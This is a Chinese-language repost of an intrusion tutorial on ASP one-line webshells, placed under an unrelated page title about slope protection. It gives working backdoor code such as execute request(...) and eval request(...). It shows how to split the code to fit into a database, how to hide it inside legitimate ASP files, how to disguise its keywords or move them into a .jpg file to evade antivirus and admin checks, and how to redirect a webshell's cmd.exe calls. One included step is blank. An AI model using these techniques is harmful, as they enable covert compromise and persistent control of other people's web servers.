边坡柔性防护:详细讲解小马的免杀方法

来源:百度文库 编辑:九乡新闻网 时间:2024/04/28 08:08:53

在入侵过程中,我们常常会遇到这样的问题,因为大马太大,而不能上传,怎么办,这个时候就只能用小马来辅助,但是,小马的语句又被杀,今天我们来说说一句话小马的免杀方法
    众所周之,一句话的语句是<%execute request("密码")%>
    1.入侵过程中<%,%>符号被过滤怎么办?我们可以想办法避开<%,%>
    execute request("cmd")
    2.网络中流传的最小的木马代码是<%eval request("#")%> 如过连这也写不下怎么办?将木马分开写就好了!
    <%Y=request("x")%> <%execute(Y)%> [code]
    这样分开写提交到数据库就没问题了!
    不过,在ACCESS数据库中新增加的数据物理位置是在旧数据之前的,所以要先写<%execute(Y)%>部分。写好后在客户端写密码时除了填写"x"以外的任何字符都可以,如果填了"x"就会出错!
    3.插入一句话容易爆错,例如
    [code]
    Sub unlockPost()
    Dim id,replyid,rs,posttable
    id=Request("id")
    replyid=Request("replyid")
    If Not IsNumeric(id) or id="" Then
    写成
    Sub unlockPost(<%eval request("#")%>)
    Dim id,replyid,rs,posttable
    id=Request("id")
    replyid=Request("replyid")
    If Not IsNumeric(id) or id="" Then
    就可以了,也可以写成带容错语句的格式!!
    <%if request("cmd")<>""then execute request("cmd")%>
    4.一句话木马到两句话木马的转型!
    一句话木马服务端原型:<%execute request("value")%> ,
    变形后:<%On Error Resume Next execute request("value")%> ,
    至于为什么要用两句话木马呢,是由于使我们的后门更加隐蔽。
    我也试过用一句话插入WellShell的某个asp文件里面,可是访问时经常出错,而插入两句话木马服务端却可以正常访问了,对站点的页面无任何影响。
    这样就达到了隐蔽性更强的目的了,他管理员总不会连自己的网页文件都删了吧。
    现在我的WellShell都有这样的后门.选择要插入两句话木马的ASP文件要注意,选一些可以用IE访问的ASP文件,不要选conn.asp这样的文件来插入。当然,连接两句话木马的客户端仍然是用一句木马的客户端,不用修改。
     5.一句话免杀:
    一:变形法
    比如:eval(request("#"))这样的马儿呢,一般情况下是不被杀的。但实际上,经常杀毒软件会把eval(request列为特征码。所以我们变形一下
    E=request("id")
    eval(E)
    这样可达到免杀的目的。
    例如:<%execute request("1")%>变形后:
    <%E=request("1")
    execute E%>
    当然,这种变形是最好做的。
    介绍第二种方法:因为很多管理员很聪明,它会检查ASP文件中的execute和eval函数。所以呢,不管你怎么反编译,它最终总是要用其中的一个函数 来解释运行,所以还是被发现了。好么,我们用外部文件来调用。建一个a.jpg或者任何不被发现的文件后缀或文件名。写入 execute(request("#"))当然,你可以先变形后现放上去。然后在asp文件中插入
   
    来引用它,即可。
    不过,管理员可以通过对比文件的方式找到修改过的文件,不过这种情况不多
    6.在WEBSHELL中使用命令提示
    在 使用ASP站长助手6.0时点击命令提示符显示“没有权限”的时候,可以使用asp站长助手上传CMD.exe到你的WEBSHELL目录(其它目录也 行,把上传以后的CMD.exe绝对路径COPY出来),再修改你的WEBSHELL找到调用CMD.EXE的代码。原来的代码如下
    .exec("cmd.exe /c "&DefCmd).stdout.readall
    修改为
    .exec("你想上传的cmd.exe绝对路径" /c"&DefCmd).stdout.readall
    比如你上传到的目录是D:\web\www\cmd.exe,那么就修改成
    .exec("D:\web\www\cmd.exe /c"&DefCmd).stdout.readall